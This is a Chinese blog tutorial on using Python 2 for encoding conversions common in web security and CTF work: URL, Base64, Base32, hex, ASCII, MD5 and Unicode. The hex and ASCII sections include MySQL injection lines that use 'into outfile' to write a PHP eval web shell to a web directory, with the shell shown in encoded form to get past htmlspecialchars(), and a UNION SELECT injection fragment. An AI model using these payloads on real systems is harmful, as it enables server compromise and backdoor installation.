返回顶部
首页 > 资讯 > 后端开发 > Python >python妙用之编码的转换详解
  • 136
分享到

python妙用之编码的转换详解

妙用详解python 2022-06-04 18:06:09 136人浏览 八月长安

Python 官方文档:入门教程 => 点击学习

摘要

前言 记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

查看图片

查看图片

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为WEB人员最熟悉的一种编码方式了。


>>> from urllib import *
>>> quote("uNIOn select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和Http传输的一些参数,也常用于邮件协议传输用户信息等。


>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用Python的话会像上边解密base64一样简单,只需要将函数改变下:


>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,Mysql注入可以使用hex绕过htmlspecialchars()函数从而写入webshell

比如:


select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.PHP'

下面是python实现hex加解密的方法:


>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

mysql中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:


select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:


>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。


>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。


>>> print u"u4f60u9700u8981u91cdu65b0u767bu9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对编程网的支持。

--结束END--

本文标题: python妙用之编码的转换详解

本文链接: https://lsjlt.com/news/13415.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • python妙用之编码的转换详解
    前言 记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感...
    99+
    2022-06-04
    妙用 详解 python
  • Python编码类型转换方法详解
    本文实例讲述了Python编码类型转换方法。分享给大家供大家参考,具体如下: 1:Python和unicode 为了正确处理多语言文本,Python在2.0版后引入了Unicode字符串。 2:python...
    99+
    2022-06-04
    详解 类型 方法
  • python黑魔法之编码转换
    我们在使用其他语言的库做编码转换时,对于无法理解的字符,通常的处理也只有两种(或三种): 抛异常 替换成替代字符 跳过 但是在复杂的现实世界中,由于各种不靠谱,我们处理的文本总会出现那...
    99+
    2022-06-04
    黑魔法 python
  • Python编码转换
    Python常用的编码格式有3种:unicode,utf-8,gbk有些时候因为某些需要,就例如我们用的是utf-8的编码格式编写的脚本,需要在Windows终端中运行,而Windows终端默认的编码格式是GBK,这时候我们就要把编码转换一...
    99+
    2023-01-31
    Python
  • python编码转换(unicode /
    点击(此处)折叠或打开 #-*- coding: utf-8 -*-import sys                                                  print sys.getf...
    99+
    2023-01-31
    python unicode
  • Python 转换文本编码
    前段时间入手了一个Sony PRS-505的阅读器,不过因为汉化的原因,折腾了很久,终于全部搞定了。麻烦的是505认得最好的编码方式为utf-8,如果是unicode,当文件大于5M时就容易出现问题。所以许多大的txt文档都要转换成utf-...
    99+
    2023-01-31
    文本 Python
  • python编码转换实验
    Python 2.6.6 (r266:84292, Jul 23 2015, 15:22:56) [GCC 4.4.7 20120313 (Red Hat 4.4.7-11)] on linux2Type "help", "copyrigh...
    99+
    2023-01-31
    python
  • Python教程之类型转换详解
    目录隐式类型转换显式类型转换Python 定义了类型转换函数以将一种数据类型直接转换为另一种数据类型,这在日常和竞争性编程中很有用。本文旨在提供有关某些转换函数的信息。 Python...
    99+
    2024-04-02
  • python中文转换url编码(转)
    今天修改一个天气预报的东西,但输入城市不能得到天气预报,感觉是编码不对,因为你输入一个城市(比如‘杭州’),url的地址编码却是'%E4%B8%BD%E6%B1%9F',因此需 要做一个转换。这里我们就用到了模块urllib。>>...
    99+
    2023-01-31
    中文 python url
  • JavaScript图片的Base64编码以及转换详解
    目录什么是 Base64图片的 Base64 编码图片转 Base64 的代码 Base64 图片编码并不完美总结什么是 Base64 Base64 是网络中存储和传输的二...
    99+
    2024-04-02
  • python 字符编码与转换
    unicode 中文英文默认统一 2个字节ASCII 只有英文和特殊字符 每个占用1个字节 不能存中文每个字节由8个比特(Bit)构成假如一个英文文档是2M,转换为unicode 编码转换,就变成了4M为了解决空间浪费的问题,在unicod...
    99+
    2023-01-30
    字符 python
  • python中文转换url编码
            今天要处理百度贴吧的东西。想要做一个关键词的list,每次需要时,直接添加 到list里面就可以了。但是添加到list里面是中文的情况(比如‘丽江’),url的地址编码却是'%E4%B8%BD%E6%B1%9F',因此需 要...
    99+
    2023-01-31
    中文 python url
  • 汇编语言系列之汇编实现各种码制的转换(思路详解)
    目录1.十六进制转换为二进制数设计1.1设计要求:1.2设计思路:1.3程序清单:1.4程序运行结果及分析:2.十六进制转换为十进制数设计2.1设计要求:2.2设计思路:2.3程序清...
    99+
    2024-04-02
  • Quoted-printable 编码介绍、编码解码转换
    Quoted-printable(引用打印)是一种用于在电子邮件和其他文本协议中编码非ASCII字符的方法。该编码将非ASCII字符...
    99+
    2023-09-12
    转换
  • Python Flask 转换器的使用详解
    目录默认转换器自定义转换器默认转换器 from flask import Flask app = Flask(__name__) #/user/123 @app.route(...
    99+
    2024-04-02
  • Java之String类型的编码方式转换
    目录String类型的编码方式转换String字符集的编码和解码String编码String解码总结String类型的编码方式转换 在JAVA中,String类型的编码方式转换,St...
    99+
    2023-02-28
    Java String类型 String类型编码 String类型编码转换
  • 详解python eval函数的妙用
    python eval函数功能:将字符串str当成有效的表达式来求值并返回计算结果。 函数定义: eval(expression, globals=None, locals=None) 将字符串st...
    99+
    2022-06-04
    妙用 详解 函数
  • Python utf-8编码转换方法
    Python utf-8编码转换方法 在Python编程开发中,我们经常需要处理各式各样的字符串,其中,涉及到字符串的编码问题就是一个很重要的方面。特别是在我们需要将数据传输到不同的系统或应用程序中,...
    99+
    2023-09-04
    python 开发语言 java
  • Python进制转换用法详解
    目录使用int()转换任意字符数字转换为10进制:16进制转换为10进制:int(x,16)8进制转换为10进制:int(x,8)2进制转换为10进制:int(x,2)使用bi...
    99+
    2024-04-02
  • python字符串与url编码的转换
    主要应用的场景 爬虫生成带搜索词语的网址 1.字符串转为url编码 import urllib poet_name = "李白" url_code_name = urllib.quote(poet_name) print url...
    99+
    2023-01-31
    字符串 python url
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作